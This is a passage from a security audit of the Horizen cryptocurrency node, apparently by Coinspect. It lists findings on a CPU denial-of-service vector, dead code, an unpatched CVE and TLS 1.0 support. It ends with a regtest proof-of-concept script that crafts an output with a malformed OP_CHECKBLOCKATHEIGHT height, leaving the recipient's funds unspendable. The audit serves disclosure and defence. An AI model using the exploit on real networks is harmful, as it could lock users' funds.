Description

An attacker can continuously send transactions that perform CPU intensive operations before being rejected because of an invalid `OP_CHECKBLOCKATHEIGHT`.

In order to prevent DoS attacks on CPU usage, it is important to try and catch all possible errors in transactions before the signatures verifications are performed, as suggested in https://en.bitcoin.it/wiki/Weaknesses#Denial_of_Service_.28DoS.29_attacks.

Several replay protection related simple checks are performed at the beginning of the `AcceptToMemoryPool` function, such as:

- `CheckTransaction` is called to check the transaction is valid for the current height (the presence of the mandatory `OP_CHECKBLOCKATHEIGHT` is enforced)
- `ContextualCheckTransaction` checks Groth version is expected
- `IsStandardTx` verifies the `referenceHeight` obtained from parsing the script

However, the script is not fully validated and the block hash is not checked until all the script has been verified. Taking into account that comparing the supplied block hash is a simple operation, ideally, this should be performed before signature verification takes place.

As failing to verify the block hash during the `OP_CHECKBLOCKATHEIGHT` processing is considered a non-final error, the transaction sender is not penalized.

Recommendations

Fully process the `OP_CHECKBLOCKATHEIGHT` before signature verifications are performed. This could be performed before starting the script evaluation.

ZEN-005 Unused and incorrect function in delay.cpp

Total Risk	Impact	Location
Low	Low	zen/delay.cpp
Fixed ✔	Likelihood Medium	

Description

The function `IsChainPenalized` is never called:

```
bool IsChainPenalised(const CChain& chain)
{
   return (chain.Tip()->nChainDelay < 0);
}
```

Also, it is not consistent with other parts of the source code, as a chain should be considered penalized when `nChainDelay` is greater than zero. For example:

```
int64_t GetBlockDelay(const CBlockIndex& newBlock, const CBlockIndex& prevBlock, const int
activeChainHeight, const bool isStartupSyncing)
{

   if(isStartupSyncing) {
      return 0;
   }

   if(newBlock.nHeight < activeChainHeight ) {
       LogPrintf("Received a delayed block (activeChainHeight: %d, newBlockHeight: %d)!\n",
activeChainHeight, newBlock.nHeight);
   }

   // if the current chain is penalised.
   if (prevBlock.nChainDelay > 0) {
       // Positive values to increase the penalty until
       // we reach the current active height.
       if (activeChainHeight >= newBlock.nHeight ) {
              return (activeChainHeight - newBlock.nHeight);
       } else {
                          LogPrintf("Decreasing penalty to chain (activeChainHeight: %d,
newBlockHeight: %d, prevBlockChainDelay: %d)!\n", activeChainHeight, newBlock.nHeight,
prevBlock.nChainDelay);
           // -1 to decrease the penalty afterwards.
           return -1;
       }
   // no penalty yet, or penalty already resolved.
   } else {
       // Introduce penalty in case we receive a historic block.
```

```
// (uses a threshold value)
if (activeChainHeight - newBlock.nHeight > PENALTY_THRESHOLD ){
    return (activeChainHeight - newBlock.nHeight)
```

A vulnerability could be introduced in the future if a developer trusts the function to be correct and utilizes it.

Recommendations

Remove unused and unmaintained code from the project.

ZEN-006	Consensus fork and double-spend attack risks because of unpatched CVE-2020-8806

Total Risk
High

Fixed
✔

Impact
High

Likelihood
High

Location
main.cpp:3451

Description

While reviewing public vulnerabilities in the upstream Zcash project, Coinspect observed the recently reported CVE-2020-8806 has not been properly addressed yet in the Horizen client.

The issue (originally reported by Michael Davidson) was publicly announced and fixed by the Zcash team on 6th Feb 2020, details can be found in the following links:

- https://z.cash/support/security/announcements/security-announcement-2020-02-06/
- https://electriccoin.co/blog/new-releases-2-1-1-and-hotfix-2-1-1-1/

According to the information provided in the links above, this vulnerability "could be used to cause consensus failure in the network: Nodes would permanently reject blocks based on their timestamps using subjective information. This information could be influenced by an attacker that (partially) isolates the node on the network, potentially tricking a miner or mining pool into rejecting a valid chain. An attacker could have strategically exploited this issue to 51% attack some nodes' view of the chain and perform double-spending attacks.". This vulnerability was addressed by the Zcash hotfix release version 2.1.1-1, which changes how nodes enforce timestamp requirements on block headers.

Because of the critical consequences of this vulnerability, and the public information about it, it needs to be urgently addressed.

Recommendations

Coinspect suggests the following changes to the Zcash source code are reviewed and applied to Horizen as soon as possible:

- https://github.com/zcash/zcash/compare/v2.1.1...v2.1.1-1
- https://github.com/zcash/zcash/commit/7704ab48461ea54278dd7b914179a5823b434a6e
- https://github.com/zcash/zcash/commit/df6b4639d2b4090ebcade1bc45d4843aa9e7922c
- https://github.com/zcash/zcash/commit/a3bb1966eb80acaa213c9ef5ec75665a0b2f6c62

ZEN-007 TLS 1.0 multiple cryptographic vulnerabilities

Total Risk	Impact	Location
Medium	Medium	zen/tlsmanager.cpp
Fixed ✔	Likelihood Medium	

Description

The TLS implementation supports version 1.0 of the TLS protocol. This version of the TLS protocol suffers from multiple well-known cryptographic flaws and is widely considered insecure by industry standard best practices.

Attackers may exploit vulnerabilities in the 1.0 version of the TLS protocol with the intention of conducting man in the middle attacks, decrypting communications between clients and the affected servers. Node's connections could be exposed to downgrade attacks.

This is a sample output from the *sslscan* tool:

```
$ grep TLSv1 sslscan.output
    Accepted  TLSv1  256 bits  ECDHE-RSA-AES256-SHA
    Accepted  TLSv1  128 bits  ECDHE-RSA-AES128-SHA
    Accepted  TLSv1  128 bits  AES128-SHA
```

As no compatibility with legacy clients is required, using a version without existing known attacks is strongly suggested.

Recommendations

Disable version 1.0 and 1.1 of the TLS protocol, instead support TLS 1.2 or higher. Coinspect suggests cipher suites offering perfect forward secrecy are preferred in order to guarantee old communications can not be decrypted if a node's private key is obtained by attackers.

6. Appendix 1: unspendable.py

```
#!/usr/bin/env python2
from test_framework.test_framework import BitcoinTestFramework
from test_framework.authproxy import JSONRPCException
from test_framework.script import OP_DUP, OP_EQUALVERIFY, OP_HASH160, OP_EQUAL, hash160, OP_CHECKSIG,
OP_CHECKBLOCKATHEIGHT
from test_framework.util import assert_equal, assert_greater_than, initialize_chain_clean, \
    start_nodes, start_node, connect_nodes, stop_node, stop_nodes, \
    sync_blocks, sync_mempools, connect_nodes_bi, wait_bitcoinds, p2p_port, check_json_precision
from test_framework.script import CScript
from test_framework.mininode import CTransaction, ToHex
from test_framework.util import hex_str_to_bytes, bytes_to_hex_str
import traceback
from binascii import unhexlify
import cStringIO
import os,sys
import shutil
from decimal import Decimal
import binascii
import codecs
import time

NUMB_OF_NODES = 4

# the scripts will not be checked if we have more than this depth of referenced block
FINALITY_SAFE_DEPTH = 150

# 0 means do not check any minimum age for referenced blocks in scripts
FINALITY_MIN_AGE = 75

CBH_DELTA = 300

class headers(BitcoinTestFramework):

    alert_filename = None

    def setup_chain(self, split=False):
        print("Initializing test directory "+self.options.tmpdir)
        initialize_chain_clean(self.options.tmpdir, NUMB_OF_NODES)
        self.alert_filename = os.path.join(self.options.tmpdir, "alert.txt")
        with open(self.alert_filename, 'w'):
            pass  # Just open then close to create zero-length file

    def setup_network(self, split=False, minAge=FINALITY_MIN_AGE):
        self.nodes = []

        self.nodes = start_nodes(NUMB_OF_NODES, self.options.tmpdir,
            extra_args = [
                ["-debug=cbh", "-debug=mempool", "-cbhsafedepth="+str(FINALITY_SAFE_DEPTH),
"-cbhminage="+str(minAge)],
                ["-debug=cbh", "-debug=mempool", "-cbhsafedepth="+str(FINALITY_SAFE_DEPTH),
"-cbhminage="+str(minAge)],
                ["-debug=cbh", "-debug=mempool", "-cbhsafedepth="+str(FINALITY_SAFE_DEPTH),
"-cbhminage="+str(minAge)],
                ["-debug=cbh", "-debug=mempool", "-cbhsafedepth="+str(FINALITY_SAFE_DEPTH),
"-cbhminage="+str(minAge)]
            ])
```

```
        if not split:
            # 2 and 3 are joint only if split==false
            connect_nodes_bi(self.nodes, 2, 3)
            connect_nodes_bi(self.nodes, 3, 2)
            sync_blocks(self.nodes[2:NUMB_OF_NODES])
            sync_mempools(self.nodes[2:NUMB_OF_NODES])

        connect_nodes_bi(self.nodes, 0, 1)
        connect_nodes_bi(self.nodes, 1, 0)
        connect_nodes_bi(self.nodes, 1, 2)
        connect_nodes_bi(self.nodes, 2, 1)
        self.is_network_split = split
        self.sync_all()


    def mark_logs(self, msg):
        self.nodes[0].dbg_log(msg)
        self.nodes[1].dbg_log(msg)
        self.nodes[2].dbg_log(msg)
        self.nodes[3].dbg_log(msg)

    def swap_bytes(self, input_buf):
        return codecs.encode(codecs.decode(input_buf, 'hex')[::-1], 'hex').decode()

    def is_in_block(self, tx, bhash, node_idx = 0):
        blk_txs = self.nodes[node_idx].getblock(bhash, True)['tx']
        for i in blk_txs:
            if (i == tx):
                return True
        return False

    def is_in_mempool(self, tx, node_idx = 0):
        mempool = self.nodes[node_idx].getrawmempool()
        for i in mempool:
            if (i == tx):
                return True
        return False

    def run_test(self):
        blocks = []
        self.bl_count = 0

        blocks.append(self.nodes[1].getblockhash(0))

        small_target_h = 3

        s = "[1] Node1 generates %d blocks" % (CBH_DELTA + small_target_h)
        print(s)
        print
        self.mark_logs(s)
        blocks.extend(self.nodes[1].generate(CBH_DELTA + small_target_h))
        self.sync_all()

        # create a Tx having in its scriptPubKey a custom referenced block in the CHECKBLOCKATHEIGHT
part

        # select necessary UTXOs
        usp = self.nodes[1].listunspent()

        PAYMENT = Decimal('1.0')
        FEE     = Decimal('0.00005')
```

```
        amount = Decimal('0')
        inputs  = []

        print
        print "[2] Node1 sends %f coins to Node2" % PAYMENT

        for x in usp:
            amount += Decimal(x['amount'])
            inputs.append( {"txid":x['txid'], "vout":x['vout']})
            if amount >= PAYMENT+FEE:
                break

        outputs = {self.nodes[1].getnewaddress(): (Decimal(amount) - PAYMENT - FEE),
self.nodes[2].getnewaddress(): PAYMENT}
        rawTx   = self.nodes[1].createrawtransaction(inputs, outputs)

        # build an object from the raw Tx in order to be able to modify it
        tx_01 = CTransaction()
        f = cStringIO.StringIO(unhexlify(rawTx))
        tx_01.deserialize(f)

        # corrupt vouts in this Tx
        for vout_idx in (0,1):
                print "\n  ! Corrupting vout[%d]" % vout_idx
                try:
                decodedScriptOrig =
self.nodes[1].decodescript(binascii.hexlify(tx_01.vout[vout_idx].scriptPubKey))
        except JSONRPCException,e:
                        print e

        scriptOrigAsm = decodedScriptOrig['asm']
        print "       Original scriptPubKey in Tx: ",
binascii.hexlify(tx_01.vout[vout_idx].scriptPubKey)
        print "       Original (decoded) scriptPubKey in Tx:   ", scriptOrigAsm

        params = scriptOrigAsm.split()
        hash_script = hex_str_to_bytes(params[2])

                original_height = int(params[6])
                print "       Original Tx height:", original_height

        # new referenced block height
                evil_height = -1
                print "       Using evil height: ", evil_height

        # new referenced block hash
        modTargetHash = hex_str_to_bytes(self.swap_bytes(blocks[0]))

        # build modified script: CScript is putting a 4f (OP_NEGATE) for our -1
                # edit script.py to send different stuff for the -1 value (like ff itself!)
        modScriptPubKey = CScript([OP_DUP, OP_HASH160, hash_script, OP_EQUALVERIFY, OP_CHECKSIG,
modTargetHash, evil_height, OP_CHECKBLOCKATHEIGHT])

        tx_01.vout[vout_idx].scriptPubKey = modScriptPubKey
        tx_01.rehash()

        decodedScriptMod =
self.nodes[1].decodescript(binascii.hexlify(tx_01.vout[vout_idx].scriptPubKey))
        print "       Modified scriptPubKey in Tx: ", binascii.hexlify(modScriptPubKey)
        print "       Modified (decoded) scriptPubKey in Tx: ", decodedScriptMod['asm']
```

```
        signedRawTx = self.nodes[1].signrawtransaction(ToHex(tx_01))
        h = self.nodes[1].getblockcount()
        try:
            txid = self.nodes[1].sendrawtransaction(signedRawTx['hex'])
            print "  Tx sent: ", txid
        except JSONRPCException,e:
            print "  ==> Tx has been rejected:"
            print "      referenced block height=%d, chainActive.height=%d, minimumAge=%d" %
(evil_height, h, FINALITY_MIN_AGE)
            print


        # dump current state
        sync_mempools(self.nodes[0:4])
        print "  ! Tx is in mempool for all nodes"
        assert_equal(True, self.is_in_mempool(txid,3))
        assert_equal(True, self.is_in_mempool(txid,2))
        assert_equal(True, self.is_in_mempool(txid,1))
        assert_equal(True, self.is_in_mempool(txid,0))
        #print "     | Node0 balance: ", self.nodes[0].getbalance()
        #print "     | Node1 balance: ", self.nodes[1].getbalance()
        #print "     | Node2 balance: ", self.nodes[2].getbalance()
        #print "     | Node3 balance: ", self.nodes[3].getbalance()
        print("  ! Node1 generating 1 honest block")
        blocks.extend(self.nodes[1].generate(1))
        self.sync_all()
        #print "     | Node0 balance: ", self.nodes[0].getbalance()
        #print "     | Node1 balance: ", self.nodes[1].getbalance()
        #print "     | Node2 balance: ", self.nodes[2].getbalance()
        #print "     | Node3 balance: ", self.nodes[3].getbalance()

        # check tx is no more in mempool
        print "  ! Tx is not in mempool anymore"
        assert_equal(False, self.is_in_mempool(txid))

        # check tx is in the block just mined
        print "  ! Tx was mined in block"
        assert_equal(self.is_in_block(txid, blocks[-1], 3), True)

        # check the Node2 balance is the expected = 1
        assert_equal(self.nodes[2].getbalance(), 1)
        print
        print
        print "  ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????\n"
        print "  ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????\n"
        print "  ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????\n"

        # parse mined Tx
        print "  Listing vouts for Tx ", txid
        rtx = self.nodes[1].decoderawtransaction(self.nodes[1].getrawtransaction(txid))
        #print rtx
        voutAsm = [x['scriptPubKey']['asm'] for x in rtx['vout']]
        idx = 0
        for asm in voutAsm:
            #print '      ',asm
            i = asm.split().index('OP_CHECKBLOCKATHEIGHT')
            ParamHeight = asm.split()[i-1]
            print '      ', idx, ' OP_CHECKBLOCKATHEIGHT : ', ParamHeight
            idx+=1
```

```
        usp = self.nodes[1].listunspent()
        print "  Listing target UTXO in Node 1"
        for x in usp:
            if x['txid'] == txid:
                print "      txid: ", x['txid'], "   vout: ", x['vout'], "   amount: ", x['amount']
                #print "            ", x

        usp = self.nodes[2].listunspent()
        print "  Listing UTXOs in Node 2"
        for x in usp:
           print "      txid: ", x['txid'], "   vout: ", x['vout'], "   amount: ", x['amount']
        print

        # trigger the issue using the vout with -1 CBH Node2 just received
        PAYMENT = Decimal('0.5')
        FEE     = Decimal('0.00005')
        amount = Decimal('0')
        inputs  = []
        print "\n[3] Selecting necessary UTXOs for Node2 to send %f coins to Node3" % PAYMENT
        usp = self.nodes[2].listunspent()
        print "  Forcing it to use the malformed output it has just received: ", txid
        for x in usp:
            if x['txid'] == txid:
                amount += Decimal(x['amount'])
                print "  Forcing txid: ", x['txid'], "   vout: ", x['vout']
                inputs.append( {"txid":x['txid'], "vout":x['vout']})

        for x in usp:
            # target already added above
            if x['txid'] == txid:
                continue

            amount += Decimal(x['amount'])
            inputs.append( {"txid":x['txid'], "vout":x['vout']})
            if amount >= PAYMENT+FEE:
                break

        print "\n[4] Creating raw Tx using malformed input where Node2 sends %f coins to Node3" %
PAYMENT

        outputs = {self.nodes[2].getnewaddress(): (Decimal(amount) - PAYMENT - FEE),
self.nodes[3].getnewaddress(): PAYMENT}
        rawTx = self.nodes[2].createrawtransaction(inputs, outputs)

        signedRawTx = self.nodes[2].signrawtransaction(rawTx)

        #print "     | Node0 balance: ", self.nodes[0].getbalance()
        print "     | Node1 balance: ", self.nodes[1].getbalance()
        print "     | Node2 balance: ", self.nodes[2].getbalance()
        #print "     | Node3 balance: ", self.nodes[3].getbalance()

        usp = self.nodes[1].listunspent()
        print "   Listing target UTXO in Node1"
        for x in usp:
            if x['txid'] == txid:
                print "      txid: ", x['txid'], "   vout: ", x['vout']
        usp = self.nodes[2].listunspent()
        print "   Listing Node2 UTXOs"
        for x in usp:
            print "      txid: ", x['txid'], "   vout: ", x['vout']
```

```
        print "\n[5] Node0 sendrawtransaction() => TX REJECTED \"non-final\""
        tx_1000 = self.nodes[0].sendrawtransaction(signedRawTx['hex'])
        # never gets here
        print "  ==> !!! should not see this !!! Tx sent: ", tx_1000


if __name__ == '__main__':
    headers().main()
```